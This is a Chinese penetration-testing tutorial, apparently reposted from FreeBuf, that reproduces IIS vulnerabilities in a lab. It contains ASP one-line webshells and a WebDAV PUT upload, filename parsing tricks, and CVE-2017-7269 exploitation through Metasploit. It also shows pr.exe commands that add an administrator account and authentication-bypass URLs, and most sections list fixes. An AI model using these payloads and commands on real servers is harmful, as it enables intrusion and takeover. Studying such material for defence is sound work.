IIS渗透
2021-07-18 07:25:49 Author: www.freebuf.com(查看原文) 阅读量:67 收藏

这边在Windows Server 2003上安装

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

IIS 6.X 安装是需要插件的

安装完成了

在这里插入图片描述

打开就是这样

在这里插入图片描述

IIS7-win7-x64

在这里插入图片描述

在这里插入图片描述

0x01 IIS写权限漏洞

实操

开启WebDAV引起的IIS写权限漏洞(攻击者可以上传文件)

PUT任意上传漏洞!

在这里插入图片描述

开启脚本资源访问和写入:

在这里插入图片描述

尝试写一个html文件

<center><h1>this is ASP a001 hello</center><h1><%eval request("a001")%>

IIS7远程访问一下

在这里插入图片描述

在这里插入图片描述

这边用一个工具

在这里插入图片描述

添加对端IP和端口

在这里插入图片描述

看到是可以写入的

打开Windows Server 2003上默认网站对用户的权限

在这里插入图片描述

在这里插入图片描述

写入一句话木马

<%eval request("a")%>

利用一个很老的.exe文件 进行PUT上传

在这里插入图片描述

可以看到成功了

去Windows Server 2003上看一下 刷新一下

在这里插入图片描述

可以看到上传成功了

这里说明一下

成功通过PUT方法上传了一个含有asp的一句话木马的txt文件

之所以不直接上传一个asp一句话是因为通常上传txt文本不会出错,但是上传asp就会报错

这个时候经过修改一下就可以了

这里要去Windows Server 2003开启IIS的asp解析功能

在这里插入图片描述

然后把刚才上传上去的1.txt文件改名为shell.asp

在这里插入图片描述

然后访问,拿蚁剑连接就可以了

-

在这里插入图片描述

防御

1.关闭 WebDav
2.关闭写入权限

IIS文件解析漏洞

原理

IIS文件解析漏洞:*.asp;.xxx像这样畸形的文件IIS只会把他当作xxx.asp文件执行不会看分号之后的内容。

实操

IIS文件解析漏洞

首先在Windows Server 2003上创建一个a001.asp

<%=time()%>  会显示当前的时间

在这里插入图片描述

同样也是要开启IIS的asp解析功能

在这里插入图片描述

远程访问一下

在这里插入图片描述

然后开始分析

a001.asp;.jpg-->实际访问的是a001.asp

a001.asp;.zip-->实际访问的是a001.zip

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

这个时候 当我们将这个内容改成asp的一句话木马时

访问一下

在这里插入图片描述

拿蚁剑连接一下 是可以的

在这里插入图片描述

IIS目录解析漏洞

原理

IIS目录解析漏洞:以*.asp命名的文件夹中的文件都会被当作asp文件执行

创建一个1.asp目录

在这里插入图片描述

把之前的1.txt复制进来

在这里插入图片描述

访问一下

在这里插入图片描述
在这里插入图片描述

防御

  • 设置权限无
    在这里插入图片描述

  • 不允许新建目录。

  • 上传的文件需经过重命名(时问戳+随机数+jpg等)

简介

攻击者可以利用~字符猜解或遍历服务器中的文件名,或对IIS服务器中的 Net framework进行拒绝服务攻击!

就是存在文件枚举漏洞,攻击者可利用此漏洞枚举网络服务器根目录中的文件

我们到IIS目录下 去看一下

dir /x

在这里插入图片描述

IIS短文件名产生

  • 当后缀小于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位

  • 当后缀大于等于4时,文件名前缀字符长度即使为1,也会产生短文件名

目前IIS支持短文件名猜测的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种

IIS8.0之后的版本只能通过 OPTIONS和 TRACE方法被猜测成功

实操

IIS8.0以下版本需要开启 ASP.NET支持,IIS大于等于8.0版本,即使没有安装 ASP.NET,通过OPTIONS和 TRACE方法也可以猜解成功

需要安装一下ASP.NET

在这里插入图片描述

然后就多了这么一个东西

在这里插入图片描述
新建一个.aspx的文件

在这里插入图片描述

可以看到它也是存在的

在这里插入图片描述

正常情况下 我们远程访问一下

它的返回是404

在这里插入图片描述

或者是400的错误

用一个工具去爆破它

具体看这里

https://github.com/WebBreacher/tilde_enum
https://github.com/irsdl/IIS-ShortName-Scanner

安装java7

启动就是这样

在这里插入图片描述
需要输入对端的IP

在这里插入图片描述

这里选no

然后一路回车就好了

它就爆破出来了

在这里插入图片描述

修复建议

1.从CMD命令关闭NTFS8.3文件格式的支持

Windows server2003:(1代表关闭,0代表开启
关闭该功能

fsutil behavior set disable8dot3 1
Windows server 2008 R2:
查询是否开启短文件名功能:fsutil 8dot3name query

关闭该功能:fsutil 8dot3name set 1

不同系统关闭命令稍有区别,该功能默认是开启的

2.从修改注册表关闭NTFS 8.3文件格式的支持

快捷键Win+R打开命令窗口,输入 regedit打开注册表窗口

找到路径

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem

在这里插入图片描述
将其中的 NtfsDisable8dot3NameCreation这一项的值设为1,1代表不创建短文件名格式

注意

以上两种方式修改完成后,均需要重启系统生效。
此方法只能禁止NTFS 8.3格式文件名创建,已经存在的文件的短文件名无法移除,需要重新复制才会消失

实战用处

  • 猜后台。

  • 猜敏感文件,例如备份的rarzip.bαk.SQL文件等。

  • 在某些情形下,甚至可以通过短文件名直接下载对应的文件。比如下载备份SQL文件。

IIS短文件漏洞局限性

  • 如果文件名本身太短也是无法猜解的

  • 此漏洞只能确定前6个字符,如果后面的字符太长、包含特殊字符,很难猜解

  • 如果文件名前6位带空格,8.3格式的短文件名会补进,和真实文件名不匹配

  • 如果文件夹名前6位字符带点.,扫描程序会认为是文件而不是文件夹,最终出现误报

  • 不支持中文文件名,包括中文文件和中文文件夹。一个中文相当于两个英文字符,故超过4个中文字会产生短文件名,但是IIS不支持中文猜测

简介

Microsoft windows Server 2003 R2中的 Interne信息服务IIS6.0中的 WebDAV服务中的ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以If:<http://开头的长标头执行任意代码 PROPFIND请求

影响范围:

WiNdows Server 2003 R2上使用IIS6.0并开启 WebDAV扩展。

复现一下这个漏洞

根据需求进行设置

在这里插入图片描述

然后在Win7 远程打一下Windows Server 2003

Exp地址

https://github.com/edwardz246003/IIS_exploit/blob/master/exploit.py

Exp是基于python2的

修改一下

对端IP和端口

在这里插入图片描述

执行一下

在这里插入图片描述

去看看Win7的进程

多了calc.exe这样一个进程

在这里插入图片描述

证明是存在缓冲区溢出的

漏洞修复

  • 关闭 WebDav服务

  • 使用相关防护设备

实战中的应用

条件:IIS 6.0 开启WebDav

接下来演示

exp:

https://github.com/zcgonvh/cve-2017-7269

下载后注意一点 进行更名一下

在这里插入图片描述
然后我们把这个.rb文件放入MSF的渗透框架中

/usr/share/metasploit-framework/modules/exploits/windows/iis/

然后执行cp命令即可

cp /root/Desktop/cve_2017_7269.rb .

启动MSF

使用这个模块

use exploit/windows/iis/cve_2017_7269

在这里插入图片描述

但是并没有拿到shell

进行排错一下

在这里插入图片描述

在IP地址中未分配,可以解释为非默认绑定

注意:该exp只适用默认绑定和默认路径的情况才可以提权!

在这里插入图片描述

这里 做不做都是可以的

就是批量检测进程溢出

这里有个工具

https://github.com/admintony/Windows-Exploit/tree/master/IIS6_WebDAV_Scanner
python IIS6_WebDAV_Scanner.py -p 1.txt

在这里插入图片描述
得到溢出值是19

然后设置MSF中的PhysicalPathLength为19

MSF 重新跑一下

成功拿到了shell

在这里插入图片描述

简单看一下权限

在这里插入图片描述

是真的 好低哇

这里用到一个提权工具

针对缓冲区溢出的一个工具 挺老的

进行上传

upload '/root/Desktop/pr.exe'  c:\Windows\system32\inetsrv

然后进行创建用户

pr.exe "net user a002 963852 /add"

添加到管理员组

pr.exe "net localgroup administrators a002 /add

原理

IIS7.x版本在Fast-CGl运行模式下,在任意文件,例:a001.jpg/png后面加上/php,会将a001.jpg/png解析为php文件

修复建议:配置 cgi fix_pathinfo(php inil中)为0并重启php-cgi程序

我这边在Windows Server 2008 R2上进行搞

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

安装成功后 打开

IIS7是有一个默认网站的

本地访问一下 ok

这就成功了

在这里插入图片描述

确定版本

在这里插入图片描述

在这里插入图片描述

确认是IIS7.5的版本

然后这边我用phpstudy进行联动

切换版本

在这里插入图片描述
报了个错 说找不到

把这个文件扩展名 打开

在这里插入图片描述
在这里插入图片描述

Google的解决方案是说 因为phpstudy安装在了C盘目录下

所以启动要拿管理员启动

切换成功

在这里插入图片描述

查看网站的基本信息

在这里插入图片描述

默认端口是8980

那就访问一下phpstudy网站目录下的东西吧

访问康康哇

在这里插入图片描述

成功访问

在这里插入图片描述

如果你没有用phpstudy的话

那么就要手动添加

在这里插入图片描述

右键添加 选择php安装目录下的的php-cgi.exe的文件 就可以了

在这里插入图片描述

强调一下

这个勾要打上

在这里插入图片描述

把Windows Server 2008 R2的防火墙关闭一下

然后远程访问一下

中间端口打错了

在这里插入图片描述

解析漏洞

在这里插入图片描述

在这里插入图片描述

我们访问一下

在这里插入图片描述

发现是不可以的

解析漏洞来了

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

把这个对勾去了就可以了

在这里插入图片描述
在这里插入图片描述

成功解析为.php文件

WebDAV在IIS7.5 在这里

在这里插入图片描述

在这里插入图片描述

修复建议

配置 cgi.fix_pathinfo(php.ini中)为0并重启php-cgi程序

HTTP.SYS是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,从IIS6.0引入,IIS服务进程依赖HTTP.SYS

HTTP.SYS远程代码执行漏洞实质是HTTP.SYS的整数溢出漏洞,当攻击者向受影响的Windows系统发送特殊设计的HTTP 请求,HTTP.sys 未正确分析时就会导致此漏洞,成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。

主要存在Windows+IIS的环境下,任何安装了微软IIS 6.0以上的Windows Server 2008 R2/Server 2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响验证这个漏洞

影响范围

Windows7、Windows server 2008 R2、Windows8、Windows server2012、Windows8.1和
Windows server 2012 R2

漏洞影响版本

IIS7.5、IIS8.0、IIS8.5

漏洞复现

在这里插入图片描述

竟然304了

这里说一下304这个状态码

304状态码或许不应该认为是一种错误,而是对客户端有缓存情况下服务端的一种响应

直接Ctrl+F5强制刷新就可以了

ok 正常了 拿到了200的状态码

在这里插入图片描述
JS前端的修改进行验证

在这里插入图片描述
添加这段内容进行验证

Range: bytes=0-18446744073709551615

在这里插入图片描述

在这里插入图片描述

返回码状态为416 Requested Range Not Satisfiable

则存在 HTTP.SYS远程代码执行漏洞

漏洞影响版本:IIS6.0,IIS7.5

修复建议

安装修复补丁(KB3042553)

简介

Microsof IIS是 Microsoft windows系统默认自带的Web服务器软件,其中默认包含FTP服务。Microsof IIS中存在认证绕过漏洞和源码泄露漏洞,该漏洞源于对用户提供的输入未经正确的验证。攻击者可利用这些漏洞在服务器进程上下文中获取密码保护资源和查看源代码文件的未授权访问,且有助于进一步攻击。

漏洞影响版本

IIS6.0、IIS7.5

漏洞原因

Microsof IIS由于无法正确清理用户提供的输入,容易岀现身份验证绕过漏洞和源代码泄露漏洞。

主要包括以下三类绕过

(1)安装了PHP的Microsof IIS6.0身份验证绕过

IIS/6.0加载受保护(如:admin)目录中的PHP文件需要用户认证信息(用户名和密码访问),如果将“∷$INDEX_ALLOCATION”后缀附加到目录名称后面,存在绕过认证并可能访问管理文件等特殊情况,导致IIS服务器重要信息泄露:

/admin::$INDEX_ALLOCATION/index.php

(2)Microsof IIS7.5经典ASP身份验证绕过

配置了经典ASP和 .NET Framework 4.0的Microsof IIS7.5,通过将:i30:I NDEX_ALLOCATION后缀附加到需要认证的请求目录名称后面,可以绕过经典的ASP文件访问限制

/admin:$i30:$INDEX_ALLOCATION/index.asp

(3)Microsof IIS7.5 .NET源代码公开和身份验证绕过

在配置中安装了PHP的Microsof IIS7.5,存在认证绕过漏洞;

http://<victimIIS75>/admin:$i30:$INDEX_ALLOCATION/admin.php

演示一下第三个

.NAT版本需要是4以上

在这里插入图片描述

网站目录在这里

搞个文件夹 丢个index.php

在这里插入图片描述

在这里插入图片描述

当我们把这个匿名身份验证禁用

在这里插入图片描述

访问一下

就变成401的未授权了

在这里插入图片描述

然后我们进行绕过

http://IP/a001:$i30:$INDEX_ALLOCATION/index.php

目标站点限制上传和访问php文件

可以利用上传aspx(.net支持解析的文件类型)文件逃避限制,将其当做php代码执行

网站目录下有一个 index.aspx的文件,里面写有php代码

在这里插入图片描述

认证漏洞绕过访问 index.aspx文件,页面返回乱码,未执行 phpinfo代码!

http://IP/a001:$i30:$INDEX_ALLOCATION/index.aspx

这里我们在加上解析漏洞

http://IP/a001:$i30:$INDEX_ALLOCATION/index.aspx/.php

在这里插入图片描述

成功执行


文章来源: https://www.freebuf.com/articles/web/271746.html
如有侵权请联系:admin#unsafe.sh